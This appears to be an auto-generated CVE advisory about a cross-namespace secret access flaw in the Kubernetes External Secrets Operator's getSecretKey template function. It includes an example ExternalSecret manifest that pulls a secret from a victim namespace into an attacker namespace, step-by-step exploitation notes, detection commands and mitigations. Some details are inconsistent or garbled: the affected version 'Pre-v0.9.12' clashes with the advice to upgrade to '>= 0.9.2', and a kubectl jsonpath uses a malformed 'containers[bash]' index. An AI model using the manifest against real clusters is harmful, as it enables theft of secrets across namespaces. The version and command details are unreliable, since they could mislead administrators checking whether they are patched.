Listen to this Post
The vulnerability existed in the `getSecretKey` templating function of the External Secrets Operator (ESO). This function was designed to fetch secrets from the senhasegura DevOps Secrets Management provider. However, it incorrectly leveraged the broad permissions of the ESO controller’s ServiceAccount and associated RoleBinding. When an attacker or a misconfigured `ExternalSecret` resource called this function, it would use the controller’s elevated cluster-wide credentials instead of being restricted by namespace-scoped RBAC. This allowed the retrieval of secrets from any Kubernetes namespace, not just the one where the `ExternalSecret` was defined, effectively bypassing intended namespace isolation safeguards.
DailyCVE Form:
Platform: Kubernetes External Secrets
Version: Pre-v0.9.12
Vulnerability : Cross-Namespace Secret Access
Severity: Critical
date: 2024-05-22
Prediction: Patched 2024-05-22
What Undercode Say:
Example of the vulnerable templating function usage in an ExternalSecret
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
name: vulnerable-es
namespace: attacker-ns
spec:
target:
name: target-secret
data:
- secretKey: password
remoteRef:
key: /some/secret
The dangerous template function
template:
engine: gotpl
data:
cred: "{{ getSecretKey \"victim-namespace\" \"victim-secret\" \"key\" }}"
Bash command to check for vulnerable ESO versions
kubectl get deployment external-secrets -n external-secrets -o jsonpath='{.spec.template.spec.containers[bash].image}'
Command to find ExternalSecrets using the templating engine
kubectl get externalsecrets -A -o json | jq '.items[] | select(.spec.template) | .metadata.namespace + "/" + .metadata.name'
How Exploit:
- Attacker gains write permissions in a compromised namespace.
- Creates an `ExternalSecret` YAML using the `getSecretKey` template.
- The template specifies a secret in a high-value target namespace.
- ESO controller processes it, using its powerful RBAC to fetch the cross-namespace secret.
- Secret is written into a local Secret object in the attacker’s namespace.
Protection from this CVE
1. Upgrade ESO to version >= 0.9.2.
- Implement OPA/Gatekeeper/Kyverno policies to block `getSecretKey` in templates.
- Restrict ESO controller RoleBinding to necessary namespaces only.
- Audit all existing `ExternalSecret` resources for template usage.
Impact:
Privilege Escalation, Secret Exfiltration, Cluster Compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
